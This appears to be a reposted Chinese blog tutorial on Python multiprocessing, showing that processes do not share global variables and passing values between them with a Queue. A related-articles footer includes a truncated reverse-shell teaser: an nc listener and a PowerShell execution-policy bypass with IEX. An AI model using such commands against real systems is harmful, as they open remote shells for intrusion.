多进程知识简单总结

多进程间的全局变量不共享

一、代码展示

import multiprocessing as mul_p
import time

egg1 = 1

def write(egg2, q):

    global egg1
    print("write全局变量彩蛋[%s]..." % egg1)
    print("write彩蛋[%s]..." % egg2)
    egg1 -= 1
    print("write全局变量彩蛋[%s]...原来的彩蛋[1]" % egg1)

    # 将修改后的彩蛋1的值放入队列中去
    q.put(egg1)

def read(egg2, q):

    global egg1
    print("read全局变量彩蛋[%s]..." % egg1)
    print("read彩蛋[%s]..." % egg2)

    while True:

        # 从队列中取出 p1 子进程中的 全局变量彩蛋1 的值
        egg1 = q.get()
        print("read接收到的write中的全局变量彩蛋[1]的值:%d" % egg1)
        if q.empty():
            print("接收完毕...")
            break

def main():

    # 假设连个进程都需要打印下面这个彩蛋2
    egg2 = 2

    # ① 创建一个队列,可以不填,队列就可以很大,但有个极限,我们不去考虑它
    #   如果填了数字为 x ,则这个队列可以存储 x 个数据
    q = mul_p.Queue()

    # ② 创建两个进程对象
    p1 = mul_p.Process(target=write, args=(egg2, q,))
    p2 = mul_p.Process(target=read, args=(egg2, q,))

    # ③ 让两个子进程开始工作
    p1.start()
    # 先让主进程 休息1s 让 p1 子进程先执行完,不然两个子进程 争着执行 打印输出会乱套
    time.sleep(1)
    p2.start()

if __name__ == "__main__":
    main()

运行结果:

write全局变量彩蛋[1]...

write彩蛋[2]...

write全局变量彩蛋[0]...原来的彩蛋[1]
read全局变量彩蛋[1]...

read彩蛋[2]...

read接收到的write中的全局变量彩蛋[1]的值:0
接收完毕...

二、总结

  • ① 各个进程间全局变量的值是 不共享
  • ※:这是因为每创建一个进程就会 copy 一份原始代码(全局变量还是初值)给自己使用,所以进程间的代码是一样的,但 变量和数据是独立
  • ② 各个进程间可以通过 Queue 创建的队列来传递变量,列表,字符串值(包括全局变量的值)
  • ③ 每个进程任务里的参数,除了 全局变量(函数局部变量),其余的参数都需要通过外部实参,传入到内部形参。
  • ※:尤其是上例程的 队列 q 要作为 实参传给两个进程,这样才能实现两个进程间的通信。
  • 进程与线程之间的关系与区别:
  • ① 进程 包含 多个线程
  • ② 进程间 不共用 变量与资源;线程间 共用 变量与资源
  • ③ 使用 time.sleep() ,可以停下当前的进程,让其他进程开始工作

Original: https://www.cnblogs.com/fry-hell/p/12818477.html
Author: 油炸地狱
Title: 多进程知识简单总结

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/612620/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 一个轻量级的C++ log日志库

    一、简介 为了自己使用写的一个简单日志库,使用仅需包含一个头文件,支持Windows和Linux平台,支持多线程控制台输出以及写日志文件。 二、调用方式 #include &quo…

    Linux 2023年6月7日
    0108
  • 大数据之Hadoop集群的HDFS压力测试

    测试HDFS写性能 原文:sw-code1)写测试的原理 2)测试内容:向HDFS集群写10个128MB的文件(3个机器每个4核,2 * 4 = 8 < 10 < 3 …

    Linux 2023年6月8日
    0119
  • 回顾乐信集团工作经历

    2019年入职乐信用户增长部门,负责开发开放平台的需求和合作方技术支持。乐信金融开放平台提供了金融业务API以及配套SDK等组件,为合作商户的产品赋予分期支付和小额贷款能力,子系统…

    Linux 2023年6月6日
    0114
  • ajax的发展

    ajax(Asynchronous Javascript and XML)异步javascrip和XMl. ajax只是一种web交互方法。在客户端(浏览器)和服务区段之间传输少量…

    Linux 2023年6月13日
    0110
  • 所学自省

    本文是根据在大学的这几年接触的东西写的,给同为软件的,需要的同学参考参考,看看这几年自己在大学学了多少东西。 你学过的东西写了多少笔记?又记得多少?自己主动去设计一个项目来做的,有…

    Linux 2023年6月14日
    0122
  • jdk8 线程池策略

    在ThreadPoolExecutor中提供了4种线程的策略可以供开发者直接使用:•AbortPolicy策略:默认策略,如果线程池队列满了丢掉这个任务并且抛出RejectedEx…

    Linux 2023年6月8日
    0137
  • docker网络管理

    服务器版本 docker软件版本 CPU架构 CentOS Linux release 7.4.1708 (Core) Docker version 20.10.12 x86_64…

    Linux 2023年6月7日
    0112
  • Powershell 测量命令执形时间

    powershell -Command (Measure-Command { "docker build –no-cache -f 2.2/Dockerfile 2.2…

    Linux 2023年5月28日
    0105
  • 快速掌握Linux三剑客命令使用

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    0129
  • 保姆教程系列二、Nacos实现注册中心

    前言: 请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i 上篇我们介绍到 保姆教程系列一、Linux搭建Nacos 注册中心原理 一、环境准备 Java版本:1.8+ (L…

    Linux 2023年6月14日
    0105
  • Java轻松实现,每天给对象发情话!

    一、引言 最近看到一篇用js代码实现表白的文章,深有感触。然后发现自己也可以用java代码实现,然后就开始写代码了,发现还挺有意思的,话不多说开搞实现思路: 使用HttpClien…

    Linux 2023年6月14日
    0110
  • windows 挂载 NFS共享

    实验环境: NFS主机(192.168.18.10):CentOS7.0 软件包:nfs-utils、rpcbind; 客户机(192.168.18.41):windows ser…

    Linux 2023年5月27日
    0247
  • 免外围电路ESP32/ESP8266系列单片机串口一键下载方案

    一、概述 CH340X、CH343、CH342等USB转串口芯片支持免外围电路ESP32/ESP8266等单片机串口一键下载功能,对此类支持多模式启动的单片机,无需外围三极管等逻辑…

    Linux 2023年6月7日
    0167
  • php微信分账功能 —— app支付

    /** 微信分账功能 $out_order_no 系统自定义的单号 $transaction_id 微信支付单号 $profitSharingAccounts array 分账接收…

    Linux 2023年6月7日
    0102
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    0120
  • bare Git 仓库是什么?

    背景 今天,坐我旁边的同事问我一些关于服务器上命令的问题。其中有一个用了特殊参数的 git init 的命令,我也不认识,遂去 Google… bare Git 仓库 …

    Linux 2023年6月7日
    0112
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球